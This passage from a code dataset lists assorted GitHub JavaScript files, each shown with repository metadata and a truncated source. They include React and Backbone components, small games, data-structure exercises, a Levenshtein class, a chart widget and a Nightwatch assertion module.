... | true |
ee64ca76f069f7b62f331eb98b964f0db84a33bc | JavaScript | jbrizbee/fighting_bears | /React/src/app/YourBear.js | UTF-8 | 1,489 | 2.703125 | 3 | [] | no_license | import React from 'react';
import ReactDOM from 'react-dom';
import axios from 'axios';
class YourBear extends React.Component {
constructor(props) {
super(props);
this.state = {
bear: {
name: '',
age: '',
attack: '',
color: '',
FavFood: ''
}
};
t... | true |
07fdf2d99e7c0023b6e29f7f692f76afcf93781a | JavaScript | abiam222/Data-Structures-and-Algorithms | /ds.js | UTF-8 | 9,187 | 4.34375 | 4 | [] | no_license | Data Types - a defined by the value the variables takes. The type of operation it can be performed on it
Promitive Types - the most basic data types available.
* Boolean
* null
* undefined
* Number
* String
* Symbol (ES6)
* Object
https://javascript.info/map-set-weakmap-weakset
Talk about other MAP the prototype... | true |
6d253d0a5b465a4ede73250c6af180abed2faeca | JavaScript | omribahumi-playground/cookiejar_10bis_chrome_extension | /js/popup.js | UTF-8 | 8,730 | 2.671875 | 3 | [] | no_license | var COOKIEJAR_API_URL = 'https://evmecookie.appspot.com/api';
var user, status1;
function $(id) {
return document.getElementById(id);
}
function createElement(name, attributes, textValue)
{
var element = document.createElement(name);
for (var attribute in attributes)
{
element.setAttribute(at... | true |
178f0f11df6acf883395d0223cc035d898a9d01e | JavaScript | madmarks/JavaScript-Fundamentals-OLD | /__Homework/JavaScript-Fundamentals_Homework/08. Functions/3. Occurrences of word/scripts/Occurrences of word.js | UTF-8 | 1,526 | 4.25 | 4 | [
"MIT"
] | permissive | // Problem 3. Occurrences of word
//
// Write a function that finds all the occurrences of word in a text.
// The search can be case sensitive or case insensitive.
// Use function overloading.
function printNumberOfWordOccurrences() {
var text = jsConsole.read('#tb-text'),
word = jsConsole.read('#tb-word... | true |
3e3543b582aa380d70dd324ee98910b06d39391e | JavaScript | LoganCode-sudo/JavaScript-course | /JavaScript-Project-04-Phone-Number-Validation.js | UTF-8 | 513 | 3.6875 | 4 | [] | no_license | function telephoneCheck(str) {
//first we need to check if the number starts with 1
//followed by three numbers or three numbers and a space or -
// then another three numbers.accept space and - if there is
//and finally the number must end with four digits
const regex = /^(1\s?)?(\([0-9]{3}\)|[0-9]{3})[\s\-]... | true |
1a35fb07d908329a5194e7005264460f70c75d88 | JavaScript | ArthurTruong5/JS | /flash-card/function.js | UTF-8 | 901 | 4.34375 | 4 | [] | no_license | // input, value => returns a number
function addition() {
var ourAnswer = document.getElementById("answer").value
// True
if (isNaN(ourAnswer)) {
document.getElementById("output").innerHTML = ourAnswer + " is not a number!";
} else {
if (ourAnswer == numAnswer) {
document.getElementById("outpu... | true |
cba19142f8efb9c4fe91a2c1d47249a18358a013 | JavaScript | jhamlet/protean | /utility/linked-list.js | UTF-8 | 7,374 | 3.171875 | 3 | [
"JSON",
"MIT"
] | permissive | var classify = require('protean/function/classify');
var augment = require('protean/object/augment');
var toArray = require('lodash/lang/toArray');
/**
* @class LinkedList
* @extends ProteanClass
* @param {...*} [items]
*/
function LinkedList () {
this.reset();
this.push.apply(this, arguments);
}
// stati... | true |
2908e92210b6751d8f52bd6638881f01853aa827 | JavaScript | 024carrott/movie | /js/search.js | UTF-8 | 4,641 | 2.5625 | 3 | [] | no_license | (function (global, Movie, Modal, $) {
'use strict';
var search_list_wrap = null;
var search = null;
var search_btn = null;
var logo = null;
var html = null;
var search_bar_isClicked_flag = false,
search_bar_actived = false,
logo_display = false;
function init() {
search_list_wrap ... | true |
c1793914b18a39801b9f67a0653ffe5f66d728a4 | JavaScript | naushad-alam95/burger-builder | /src/containers/BurgerBuilder/BurgerBuilder.js | UTF-8 | 2,178 | 2.5625 | 3 | [] | no_license | import React, {Component} from 'react';
import Aux from '../../hoc/Ax';
import Burger from '../../component/Burger/Burger';
import BurgerControls from '../../component/Burger/BuildControls/BuildControls';
const INGREDIENT_PRICES={
salad:0.5,
bacon:0.4,
cheese: 1.3,
meat: 0.7
}
class BurgerBuilder ext... | true |
41c1f5447b23b6c1f8db9d47c32b295cc31b172e | JavaScript | chrisprice/d3fc-canvas-example | /src/candlestickSeries.js | UTF-8 | 1,784 | 2.703125 | 3 | [] | no_license | import { candlestick } from 'd3fc-shape';
import fc from 'd3fc';
import d3 from 'd3';
function drawCanvas(data, generator, canvas) {
generator.context(canvas.getContext('2d'));
// Clear canvas
canvas.width = canvas.width;
ctx.beginPath();
generator(data.up);
ctx.strokeStyle = '#52CA52';
ctx.stroke();
... | true |
c5ed5f05a219a3bbcea8afcde555825b629ad1a2 | JavaScript | armakuni/bad-bowling-kata | /javascript/bowlingGame.js | UTF-8 | 1,034 | 2.953125 | 3 | [
"MIT"
] | permissive | class BowlingGame {
_rolls = [];
constructor() {
this._rolls = [];
}
roll(pins) {
this._rolls.push(pins);
}
score() {
let score = 0;
let nextScoredRoll = 0;
for (let i = 0; i < 10; i++) {
let frameScore = 0;
if (this._rolls[nextScoredRoll] == 10) {
frameScore += t... | true |
8501a734a5c1175b41513cd5f6f505a6b983cfc9 | JavaScript | Alee4738/leetcode | /src/brick_wall.js | UTF-8 | 1,921 | 3.84375 | 4 | [] | no_license | /*
There is a brick wall in front of you. The wall is rectangular and has several rows of bricks. The bricks have the same height but different width. You want to draw a vertical line from the top to the bottom and cross the least bricks.
The brick wall is represented by a list of rows. Each row is a list of integers ... | true |
a459efbe35abfe9f274aab4dddc379eda7b5b09f | JavaScript | zhaluza/screening | /server.js | UTF-8 | 1,100 | 2.546875 | 3 | [
"MIT"
] | permissive | const express = require('express');
const bodyParser = require('body-parser');
const request = require('request');
const path = require('path')
const app = express();
const port = process.env.PORT || 5000;
require('dotenv').config()
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
app... | true |
2f240e200f46d8dfbeae8b0f8510f6dafdbf7017 | JavaScript | BrianMacIntosh/LD34 | /script_game/villagermanager.js | UTF-8 | 7,326 | 2.671875 | 3 | [
"MIT"
] | permissive |
var VillagerManager = function()
{
this.villagers = [];
this.tasks = [];
for (var c = 0; c < 7; c++)
{
this.addNewVillager();
}
// create tasks for keeping village clear
for (var x = -VillagerManager.villageClearRadiusTiles; x <= VillagerManager.villageClearRadiusTiles; x++){
for (var y = -VillagerManage... | true |
dc266b3f3ee5df47a0f802081a0e79582cac2a1d | JavaScript | jisoon/front-end | /BackboneJS/js/models/todo.js | UTF-8 | 626 | 2.9375 | 3 | [] | no_license | var app = app || {};
// Todo 모델
// 우리의 기본 Todo 모델은 title order completed 속성을 가진다.
$(function() {
app.Todo = Backbone.Model.extend({
// default 에 기본 속성을 정의함으로써 todo 항목이 생성될 때 title 과 completed 키를
// 가지고 있음을 보장할 수 있다.
defaults: {
title: '',
completed: false
},
// 이 todo 항목의 completed ... | true |
00b222fcfb7d1b60926b0427b403cf41d57c5a31 | JavaScript | falconazeem/javascript_assignments_PIAIC124778_CNC_Q2_MUHAMMAD-AZEEM | /task10.js | UTF-8 | 356 | 3.15625 | 3 | [] | no_license |
password1 = prompt ("Please enter the password: ")
password2 = prompt ("Please re-enter the password: ")
if (password1==="ali") {alert("correct password")}
else if (password1==="") {alert("please enter your password")}
else if (password2==="ali") {alert("the password you entered matches correct password")}... | true |
c3fd22baaf03752ef1bd8e381af32afcb1f0d969 | JavaScript | angeltejedorg/Trivia | /assets/js/trivia.js | UTF-8 | 4,134 | 3.375 | 3 | [] | no_license | // URL base
const API = "https://opentdb.com/api.php";
let questionsAPI;
let n = 0; //Question number
let answers = [];
let score = 0;
const form = document.getElementById("main-form");
const questionContainer = document.getElementById("question-container")
const createUrl = e => {
e.preventDefault();
let cate... | true |
f7eeed8b1793f5c775b12bad386d562f8cacef32 | JavaScript | lidaweigit/char | /char.js | UTF-8 | 4,505 | 3.046875 | 3 | [] | no_license |
function Char(opt){
//定义一个默认的参数,类型是柱状图
this.config={
width:300,
height:150,
type:'column'
}
for(var key in opt){
this.config[key]=opt[key];
}
var container=document.querySelector(this.config.target);
container.style.width=this.config.width+'px';
container.style.height=this.config.height+'px';
cont... | true |
ae7d0eeabe90cf1b7fa9f5cf84509137f199e4dc | JavaScript | pedro772/Jogo_LoP | /jogo.js | UTF-8 | 39,368 | 3.0625 | 3 | [] | no_license | //Declaração de variaveis
var personagem, posicao, aviao1, aviao2, aviao3, bomba1, bomba2, bomba3, bomba4, bomba5, bomba6,
distancia1, distancia2, distancia3, distancia4, distancia5, distancia6, distanciaAviao1, distanciaAviao2, distanciaAviao3,
inimigo1, inimigo2, inimigo3, inimigo4, inimigo5, tiro1, tiro2, tiro3, ... | true |
85502bc3eca86bd8640e2967fbd64ef2f68ca061 | JavaScript | kaleem7832/ResponsiveSurveyRendering | /app/api/models/questions/open-text-question.js | UTF-8 | 2,260 | 2.609375 | 3 | [
"MIT"
] | permissive | import Question from './../base/question.js'
import ValidationTypes from '../validation/validation-types.js';
import RuleValidationResult from '../validation/rule-validation-result.js';
import Utils from 'utils.js';
/**
* @extends {Question}
*/
export default class OpenTextQuestion extends Question {
/**
* ... | true |
b9ec102b1307c213ccdf09e7be1ac4506a88105f | JavaScript | kampana/kampana.github.io | /angularSite/dashBoard/gridBox.js | UTF-8 | 6,904 | 2.578125 | 3 | [] | no_license | "use strict";
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*
* TODO URI change templates
* TODO URI add function() to wrap all functions
*/
var app = angular.module('dashBoard', ... | true |
45e59406f4d0eaa39a8b68db4cbca35fa9b57e22 | JavaScript | seintelligence/Polymorph | /bower_components/expandjs/lib/string/repeat.js | UTF-8 | 1,731 | 3.046875 | 3 | [
"BSD-3-Clause"
] | permissive | /*jslint browser: true, devel: true, node: true, ass: true, nomen: true, unparam: true, indent: 4 */
/**
* @license
* Copyright (c) 2015 The ExpandJS authors. All rights reserved.
* This code may only be used under the BSD style license found at https://expandjs.github.io/LICENSE.txt
* The complete set of authors ... | true |
4292f50af8ca175b3029fd59c72386b09bbb9285 | JavaScript | meisheep/levenshtein6 | /Levenshtein.js | UTF-8 | 988 | 3.234375 | 3 | [
"MIT"
] | permissive | class Levenshtein {
constructor(str1 = '', str2 = '') {
this.str1 = str1;
this.str2 = str2;
}
static calc(str1, str2) {
if (str1 === str2) return 0;
if (!str1.length) return str2.length;
if (!str2.length) return str1.length;
let curCell;
let leftCell;
let diagCell;
const prev... | true |
64eaa7c4d3103122427639fb3a3ddbf8725337a3 | JavaScript | itzsoumyadip/study-repo- | /js exersise/03basic/basis.js | UTF-8 | 202 | 3.21875 | 3 | [
"Unlicense"
] | permissive | // let sentence =['how','sala']
// for(var i=0;i<sentence.length;i++)
// // let aa =sentence[i]
// console.log(sentence[i])
//console.log( sentence.length );
//console.log(sentence[0]);
| true |
a4baa1c1919d3ce842dc72e3b5e38d938b727d66 | JavaScript | billkwai/sf-concert-scraper-node | /bin/worker.js | UTF-8 | 279 | 2.5625 | 3 | [] | no_license | var XMLHttpRequest = require("xmlhttprequest").XMLHttpRequest;
const Http = new XMLHttpRequest();
const url='https://concert-scraper.herokuapp.com/concerts/update';
Http.open("GET", url, false);
Http.send();
Http.onreadystatechange = (e) => {
console.log(Http.responseText)
} | true |
42b8872d64ccb4e84f9a942ebab1dc0a12f44485 | JavaScript | Shurlormes/MusicPlayer | /src/reducers/player/index.jsx | UTF-8 | 1,999 | 3.046875 | 3 | [] | no_license | import {FetchAudioList, FetchAudio, PlayAudio, PauseAudio, NextAudio, PreviousAudio, ChangePlayType} from '../../common/enums/ActionEmun';
import * as PlayTypeEnum from '../../common/enums/PlayTypeEnum';
const initialState = {
currentAudioId: 1,
isPlaying: false,
playOrder: []
};
const pickAudio = (currentAudioId,... | true |
92f16f62912911c359b29c109bba9236d0720dc9 | JavaScript | guilines/FrontEndProjects | /arcade-game/js/app.js | UTF-8 | 6,075 | 3.296875 | 3 | [
"MIT"
] | permissive | // Enemies our player must avoid
var Enemy = function(x,y,speed,cw) {
if(!cw) {
this.sprite = 'images/enemy-bug.png';
} else {
this.sprite = 'images/enemy-bug_180.png';
}
this.cw=cw;
this.x=x;
this.y=y;
this.speed=speed;
//Enemies weight
this.deltaX=(101-20)/2;
... | true |
4347b547a069f5ee12cbe2ba61ecca1860aba22c | JavaScript | wangyi405/fund | /WebRoot/js/computer/usermgnt.js | UTF-8 | 7,048 | 2.515625 | 3 | [] | no_license | var allowBuyOrSale=true;
$(function(){
$.ajax({
type:"GET",
url:path+"/services/computer/findAllowBuyOrSale",
async: false,
success:function(data){
allowBuyOrSale=data;
},
error:function(){
window.location=path;
}
});
});
function btnSearchOnClick(){
var userName=$('#c_userName').textbox('get... | true |
dad6c5ccd74057e95f6c7092f7fd76df3bfe2edf | JavaScript | estmaia1/Teste-Front-End | /javascript/main.js | UTF-8 | 1,675 | 2.828125 | 3 | [] | no_license | // Métodos da página inicial
// Populando a prateleira de produtos, através da grid do bootstrap
$(document).ready(function() {
$.ajax({
type: "GET",
datatype: "JSON",
contentType: "application/json",
url: "https://desolate-brushlands-20405.herokuapp.com/api/products",
data: JSON.stringify({
... | true |
cc604883396301ccf1d166c818b53e937597b8a9 | JavaScript | LABELNET/webpack-examples | /example6/example5.js | UTF-8 | 556 | 3.515625 | 4 | [] | no_license | /**
* Created by yuan on 2/22/2017.
*/
class Point {
constructor(x, y) {
this.x = x;
this.y = y;
}
toString() {
return '(' + this.x + ' , ' + this.y + ')';
}
}
var point = new Point(1, 2);
console.log(point.toString());
//继承
class DemoPoint extends Point {
constructor(n... | true |
a3a6e53304398e5318dd99f25b69c3aac162a936 | JavaScript | liulin1234/webstorm | /WebStormTrain/test/babel/index.js | UTF-8 | 93 | 2.5625 | 3 | [
"MIT"
] | permissive | /**
* Created by admin on 2017/5/24.
*/
var add = (a,b) =>{
console.log(a+b)
}
add(1,2) | true |
4a44546b1429ece065c3b54f983af51df4205082 | JavaScript | Arthur-Gyulabyan/ACA-Bootcamp-Tasks | /010-array-methods/01-concat-arrays.js | UTF-8 | 572 | 5.03125 | 5 | [] | no_license | // Concatenate the two arrays
const arr1 = [1, 2, 3, 4];
const arr2 = [5, 6, 7, 8, 9];
const arrConcat1 = arr1.concat(arr2);
console.log(arrConcat1); // [1, 2, 3, 4, 5, 6, 7, 8, 9]
const arrConcat2 = [...arr1, ...arr2];
console.log(arrConcat2); // [1, 2, 3, 4, 5, 6, 7, 8, 9]
// Function to do concatenation
function... | true |
0d4b496f417bba8a1b5a90b954f18c74e75ff2e0 | JavaScript | ikbo15/BlindWar | /tresh.js | WINDOWS-1251 | 2,883 | 2.65625 | 3 | [] | no_license |
console.log(msg.location);
txt = 'null';
var srch = new SearchUser(users[userN], msg.location);
var searchUsersArray = jf.readFileSync('./data/Search.json').searchUsersArray;
var enemy = BinSearch2(searchUsersArray, srch.searchPoints, searchUsersArray.length-1, 0, 30);
if(enemy === null)
{
for... | true |
32043d199e242403d316615e3f6d9329cecc9cb7 | JavaScript | nightwatchjs/nightwatch | /lib/api/expect/elements.js | UTF-8 | 2,011 | 2.515625 | 3 | [
"MIT"
] | permissive | const Element = require('../../element');
const BaseExpect = require('./_baseExpect.js');
class ExpectElements extends BaseExpect {
get needsFlags() {
return ['value'];
}
get hasAssertions() {
return true;
}
get promiseRejectedMsg() {
return 'Element was not found.';
}
/**
* If this is ... | true |
514155c7e672ada92bdddf4e231de1d1c052fb0d | JavaScript | nicolebird/KingslandUniversity2021 | /02.JSFundamentals/Class-Examples/example.js | UTF-8 | 183 | 3.09375 | 3 | [] | no_license | let bigger = true;
let less = !bigger;
let a = 10;
let b = 20;
if (!(a>10 && b<32) || bigger == true){
console.log();
}
//this means do the opposite of what originally intended. | true |